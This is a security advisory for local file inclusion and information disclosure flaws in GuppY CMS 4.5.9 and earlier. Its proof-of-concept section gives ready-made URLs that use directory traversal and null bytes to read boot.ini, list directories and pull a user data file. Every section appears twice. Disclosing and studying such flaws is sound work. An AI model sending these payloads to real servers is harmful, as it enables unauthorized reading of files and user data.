GuppY Multiple Local File Include and Information Disclosure Vulnerabilities
BID:15610
Info
GuppY Multiple Local File Include and Information Disclosure Vulnerabilities
| Bugtraq ID: | 15610 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Nov 28 2005 12:00AM |
| Updated: | Nov 28 2005 12:00AM |
| Credit: | Discovered by <[email protected]>. |
| Vulnerable: |
Guppy GuppY 4.5.9 Guppy GuppY 4.5.4 Guppy GuppY 4.5.3 a Guppy GuppY 4.5.3 Guppy GuppY 4.5 |
| Not Vulnerable: | |
Discussion
GuppY Multiple Local File Include and Information Disclosure Vulnerabilities
GuppY is affected by multiple local file include and information disclosure vulnerabilities.
An attacker may leverage these issues to execute arbitrary server-side script code that resides on an affected computer with the privileges of the Web server process. This may potentially facilitate unauthorized access.
It should be noted that these issues may also be leveraged to read arbitrary files on an affected computer with the privileges of the Web server. An attacker can employ directory traversal sequences and NULL characters to disclose arbitrary files.
GuppY 4.5.9 and prior versions are vulnerable.
GuppY is affected by multiple local file include and information disclosure vulnerabilities.
An attacker may leverage these issues to execute arbitrary server-side script code that resides on an affected computer with the privileges of the Web server process. This may potentially facilitate unauthorized access.
It should be noted that these issues may also be leveraged to read arbitrary files on an affected computer with the privileges of the Web server. An attacker can employ directory traversal sequences and NULL characters to disclose arbitrary files.
GuppY 4.5.9 and prior versions are vulnerable.
Exploit / POC
GuppY Multiple Local File Include and Information Disclosure Vulnerabilities
An exploit is not required.
The following proof of concept examples are available:
http://www.example.com/[path_to_guppy]/admin/editorTypetool.php?cmd=DIR&meskin=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F
http://www.example.com/[path_to_guppy]/admin/inc/archbatch.php?lng=../../../../../../../../../../../boot.ini%00
http://www.example.com/[path_to_guppy]/admin/inc/dbbatch.php?lng=../../../../../../../../../../../
http://www.example.com/[path_to_guppy]/admin/inc/dbbatch.php?lng=../../../../../../../../../../../boot.ini%00
http://www.example.com/[path_to_guppy]/admin/inc/nwlmail.php?lng=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini%00
http://www.example.com/[path_to_guppy]/admin/inc/archbatch.php?lng=../../data/usermsg/username.dtb%00
An exploit is not required.
The following proof of concept examples are available:
http://www.example.com/[path_to_guppy]/admin/editorTypetool.php?cmd=DIR&meskin=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F
http://www.example.com/[path_to_guppy]/admin/inc/archbatch.php?lng=../../../../../../../../../../../boot.ini%00
http://www.example.com/[path_to_guppy]/admin/inc/dbbatch.php?lng=../../../../../../../../../../../
http://www.example.com/[path_to_guppy]/admin/inc/dbbatch.php?lng=../../../../../../../../../../../boot.ini%00
http://www.example.com/[path_to_guppy]/admin/inc/nwlmail.php?lng=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini%00
http://www.example.com/[path_to_guppy]/admin/inc/archbatch.php?lng=../../data/usermsg/username.dtb%00
Solution / Fix
GuppY Multiple Local File Include and Information Disclosure Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
GuppY Multiple Local File Include and Information Disclosure Vulnerabilities
References:
References: